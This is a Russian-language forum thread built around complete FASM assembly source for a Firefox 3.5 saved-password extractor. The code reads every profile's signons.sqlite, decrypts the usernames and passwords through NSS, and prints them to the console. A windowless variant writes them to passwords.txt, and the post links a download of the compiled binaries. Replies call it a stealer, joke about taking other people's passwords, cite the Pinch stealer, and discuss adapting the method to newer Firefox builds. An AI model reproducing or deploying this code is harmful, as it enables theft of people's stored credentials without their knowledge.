Firefox 3.5 Passwords Recovery Привет всем. Вот решил выложить, может кому и пригодится Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана. Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb Тестировалось на Windows XP (x86). По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника. Code: format PE entry main include 'win32a.inc' USERNAME_MAX_LENGTH equ 90 PASSWORD_MAX_LENGTH equ 90 section '.data' data readable writeable pathWord db 'Path', 0 keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0 libNSS db 'nss3.dll', 0 libSQLite db 'sqlite3.dll', 0 nNSS_Init db 'NSS_Init', 0 nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0 nPK11_Authenticate db 'PK11_Authenticate', 0 nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0 nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0 nPK11_FreeSlot db 'PK11_FreeSlot', 0 nNSS_Shutdown db 'NSS_Shutdown', 0 nsqlite3_open db 'sqlite3_open', 0 nsqlite3_exec db 'sqlite3_exec', 0 nsqlite3_close db 'sqlite3_close', 0 iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0 profileNameMask db 'Profile%d', 0 profilePathMask db '%s\Mozilla\Firefox\%s', 0 dbName db 'signons.sqlite', 0 sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0 outputMask db 'Host: %s', 0Dh, 0Ah,\ 'Username: %s', 0Dh, 0Ah,\ 'Password: %s', 0Dh, 0Ah,\ '==================================================', 0Dh, 0Ah, 0 profileName rb 10 ; Имя профля (Profile0, Profile1, etc.) profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default) username rb USERNAME_MAX_LENGTH ; Имя пользователя password rb PASSWORD_MAX_LENGTH ; Пароль temp rb 256 ; Временная переменная для расшифровки profilePath rb 256 ; Полный путь до профиля appDataPath rb 256 ; Путь до директории APP_DATA iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini) firefoxPath rb 256 ; Путь до директории с установленным Firefox outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль hDB dd ? ; Дескриптор БД hOutput dd ? ; Дескриптор консоли writed dd ? ; Количество записанных данных на консоль hKey dd ? ; Дескриптор ключа реестра hNSS dd ? ; Дескриптор модуля NSS hSQLite dd ? ; Дескриптор модуля SQLite NSS_Init dd ? ; PK11_GetInternalKeySlot dd ? ; PK11_Authenticate dd ? ; NSSBase64_DecodeBuffer dd ? ; PK11SDR_Decrypt dd ? ; Дескрипторы функций PK11_FreeSlot dd ? ; NSS_Shutdown dd ? ; sqlite3_open dd ? ; sqlite3_exec dd ? ; sqlite3_close dd ? ; cbData dd ? hKeySlot dd ? struct PSECItem SECItemType dd ? SECItemData dd ? SECItemLen dd ? ends eSECItem PSECItem dSECItem PSECItem section '.code' code readable executable main: invoke GetStdHandle, STD_OUTPUT_HANDLE ; Получаем дескриптор консоли mov [hOutput],eax ; И записываем его в hOutput invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим je .close ; mov [cbData], 256 ; invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox) cmp eax, 2 ; Если такого нет (мало ли), то выходим je .close ; invoke RegCloseKey, [hKey] ; Закрываем Ключ invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox cmp eax, 0 ; je .close ; invoke LoadLibrary, libNSS ; cmp eax, 0 ; je .close ; mov [hNSS], eax ; ; invoke GetProcAddress, [hNSS], nNSS_Init ; mov [NSS_Init], eax ; invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ; mov [PK11_GetInternalKeySlot], eax ; invoke GetProcAddress, [hNSS], nPK11_Authenticate ; mov [PK11_Authenticate], eax ; invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ; mov [NSSBase64_DecodeBuffer], eax ; invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ; mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки: invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса mov [PK11_FreeSlot], eax ; необходимых функций invoke GetProcAddress, [hNSS], nNSS_Shutdown ; mov [NSS_Shutdown], eax ; ; invoke LoadLibrary, libSQLite ; cmp eax, 0 ; je .close ; mov [hSQLite], eax ; ; invoke GetProcAddress, [hSQLite], nsqlite3_open ; mov [sqlite3_open], eax ; invoke GetProcAddress, [hSQLite], nsqlite3_exec ; mov [sqlite3_exec], eax ; invoke GetProcAddress, [hSQLite], nsqlite3_close ; mov [sqlite3_close], eax ; invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini sub ebx, ebx .proloop: ; В цикле будут обрабатываться профили cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc. invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля cmp eax, 0 ; Ну а если такого профиля нет, то выходим je .close cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE invoke SetCurrentDirectory, profilePath cinvoke NSS_Init, profilePath cinvoke PK11_GetInternalKeySlot mov [hKeySlot], eax cinvoke PK11_Authenticate, [hKeySlot], 1, 0 cinvoke sqlite3_open, dbName, hDB ; Открываем БД cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос cinvoke sqlite3_close, [hDB] ; Закрываем БД cinvoke PK11_FreeSlot, [hKeySlot] cinvoke NSS_Shutdown inc ebx jmp .proloop .close: invoke ExitProcess, 0 proc CallBack c, cols, rows, headers push ebx mov ebx, [rows + 4] invoke lstrcpyn, temp, [ebx + 4], 256 ; invoke lstrlen, temp ; Расшифровываем имя пользователя cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ; invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ; invoke lstrcpyn, temp, [ebx + 8], 256 ; invoke lstrlen, temp ; Расшифровываем пароль и cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ; invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ; cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске invoke lstrlen, outputBuffer invoke WriteConsole, [hOutput], outputBuffer, eax, writed, 0 ; Выводим текст на консоль pop ebx sub eax, eax ret endp section '.idata' import data readable writeable library kernel32, 'kernel32.dll',\ user32, 'user32.dll',\ advapi32, 'advapi32.dll',\ shell32, 'shell32.dll' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\advapi32.inc' include 'api\shell32.inc' Компилируем и запускаем через консоль и получаем множество записей вида: UPD: Версия с записью результатов в файл: Code: format PE GUI 4.0 entry main include 'win32a.inc' USERNAME_MAX_LENGTH equ 90 PASSWORD_MAX_LENGTH equ 90 section '.data' data readable writeable pathWord db 'Path', 0 keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0 libNSS db 'nss3.dll', 0 libSQLite db 'sqlite3.dll', 0 outputFileName db 'passwords.txt', 0 nNSS_Init db 'NSS_Init', 0 nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0 nPK11_Authenticate db 'PK11_Authenticate', 0 nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0 nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0 nPK11_FreeSlot db 'PK11_FreeSlot', 0 nNSS_Shutdown db 'NSS_Shutdown', 0 nsqlite3_open db 'sqlite3_open', 0 nsqlite3_exec db 'sqlite3_exec', 0 nsqlite3_close db 'sqlite3_close', 0 iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0 profileNameMask db 'Profile%d', 0 profilePathMask db '%s\Mozilla\Firefox\%s', 0 dbName db 'signons.sqlite', 0 sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0 outputMask db 'Host: %s', 0Dh, 0Ah,\ 'Username: %s', 0Dh, 0Ah,\ 'Password: %s', 0Dh, 0Ah,\ '==================================================', 0Dh, 0Ah, 0 profileName rb 10 ; Имя профля (Profile0, Profile1, etc.) profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default) username rb USERNAME_MAX_LENGTH ; Имя пользователя password rb PASSWORD_MAX_LENGTH ; Пароль temp rb 256 ; Временная переменная для расшифровки profilePath rb 256 ; Полный путь до профиля appDataPath rb 256 ; Путь до директории APP_DATA iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini) firefoxPath rb 256 ; Путь до директории с установленным Firefox outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль hDB dd ? ; Дескриптор БД writed dd ? ; Количество записанных данных на консоль hKey dd ? ; Дескриптор ключа реестра hNSS dd ? ; Дескриптор модуля NSS hSQLite dd ? ; Дескриптор модуля SQLite hFile dd ? ; Дескриптор файла NSS_Init dd ? ; PK11_GetInternalKeySlot dd ? ; PK11_Authenticate dd ? ; NSSBase64_DecodeBuffer dd ? ; PK11SDR_Decrypt dd ? ; Дескрипторы функций PK11_FreeSlot dd ? ; NSS_Shutdown dd ? ; sqlite3_open dd ? ; sqlite3_exec dd ? ; sqlite3_close dd ? ; cbData dd ? hKeySlot dd ? struct PSECItem SECItemType dd ? SECItemData dd ? SECItemLen dd ? ends eSECItem PSECItem dSECItem PSECItem section '.code' code readable executable main: invoke CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 mov [hFile], eax mov [hFile],eax ; И записываем его в hFile invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим je .close ; mov [cbData], 256 ; invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox) cmp eax, 2 ; Если такого нет (мало ли), то выходим je .close ; invoke RegCloseKey, [hKey] ; Закрываем Ключ invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox cmp eax, 0 ; je .close ; invoke LoadLibrary, libNSS ; cmp eax, 0 ; je .close ; mov [hNSS], eax ; ; invoke GetProcAddress, [hNSS], nNSS_Init ; mov [NSS_Init], eax ; invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ; mov [PK11_GetInternalKeySlot], eax ; invoke GetProcAddress, [hNSS], nPK11_Authenticate ; mov [PK11_Authenticate], eax ; invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ; mov [NSSBase64_DecodeBuffer], eax ; invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ; mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки: invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса mov [PK11_FreeSlot], eax ; необходимых функций invoke GetProcAddress, [hNSS], nNSS_Shutdown ; mov [NSS_Shutdown], eax ; ; invoke LoadLibrary, libSQLite ; cmp eax, 0 ; je .close ; mov [hSQLite], eax ; ; invoke GetProcAddress, [hSQLite], nsqlite3_open ; mov [sqlite3_open], eax ; invoke GetProcAddress, [hSQLite], nsqlite3_exec ; mov [sqlite3_exec], eax ; invoke GetProcAddress, [hSQLite], nsqlite3_close ; mov [sqlite3_close], eax ; invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini sub ebx, ebx .proloop: ; В цикле будут обрабатываться профили cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc. invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля cmp eax, 0 ; Ну а если такого профиля нет, то выходим je .close cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE invoke SetCurrentDirectory, profilePath cinvoke NSS_Init, profilePath cinvoke PK11_GetInternalKeySlot mov [hKeySlot], eax cinvoke PK11_Authenticate, [hKeySlot], 1, 0 cinvoke sqlite3_open, dbName, hDB ; Открываем БД cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос cinvoke sqlite3_close, [hDB] ; Закрываем БД cinvoke PK11_FreeSlot, [hKeySlot] cinvoke NSS_Shutdown inc ebx jmp .proloop .close: invoke CloseHandle, [hFile] invoke ExitProcess, 0 proc CallBack c, cols, rows, headers push ebx mov ebx, [rows + 4] invoke lstrcpyn, temp, [ebx + 4], 256 ; invoke lstrlen, temp ; Расшифровываем имя пользователя cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ; invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ; invoke lstrcpyn, temp, [ebx + 8], 256 ; invoke lstrlen, temp ; Расшифровываем пароль и cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ; invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ; cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске invoke lstrlen, outputBuffer invoke WriteFile, [hFile], outputBuffer, eax, writed, 0 pop ebx sub eax, eax ret endp section '.idata' import data readable writeable library kernel32, 'kernel32.dll',\ user32, 'user32.dll',\ advapi32, 'advapi32.dll',\ shell32, 'shell32.dll' include 'api\kernel32.inc' include 'api\user32.inc' include 'api\advapi32.inc' include 'api\shell32.inc' Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg
Сделай лучше, чтоб в файл сохраняло. И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.
Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?
Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл. ps. 2 =Zeus=, спасибо за замечания)
Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово! Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.
ОГРОМНОЕ СПАСИБО!!!!Были траблы с Мозилой(не загружала страницы),а вней куча паролей!Еще раз спасибо!!!
thank you very much for the source of stealer. i have one request if you please: can someone translate this into MASM code? thanks again, great source
Ребят, извиняюсь за ап старой темы, просто считаю что это еще актуально. Пробовал этот способ, правда пришлось его переписать под Делфянку. Пробовал, что скомпиленный вариант под MASM'ом что свой под Дельфином - результат никакой. Показывает только URL'ы для сохраненных паролей и везде вместо encryptedUsername и encryptedPassword показывает только первый попавшийся в базе encryptedUsername. Хотя, видно что по всей базе проходит. Раскриптовка почему-то перестала работать на новых версиях фокса, у меня 29 версия, вроде последняя. Нашел прогу которая достает пароли из самого последнего и обратил внимание на то что она грузит из папки Фокса совсем другие DLL. Не как в исходнике. а именно вот эти: LoadLibrary(pchar(FirefoxPath +'freebl3.dll')); LoadLibrary(pchar(FirefoxPath +'nssdbm3.dll')); LoadLibrary(pchar(FirefoxPath +'softokn3.dll')); и плюс еще грузит две эти: sqlite3.dll NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll')); А пароли она не может расшифровать без любого из этих трех файлов: /FFoxProfile/cert8.db /FFoxProfile/key3.db /FFoxProfile/signons.sqlite В вышеуказанном исходнике там нужен только signons.sqlite нашел еще эту доку - http://securityxploded.com/firepassword.php#firefox_version_above_3_5 , но похоже что там не разобран этот вариант. Может уже кто-то разбирал причину неработоспособности кода или в новых функциях шифровки. Уже вторые сутки бьюсь, голову ломаю, помогите пожалуйста разобраться. Если нужно, или кто не хочет ковыряться в MASM'е, могу приколотить свой Вариант на Дельфине. Всем большое спасибо за любую полезную информацию.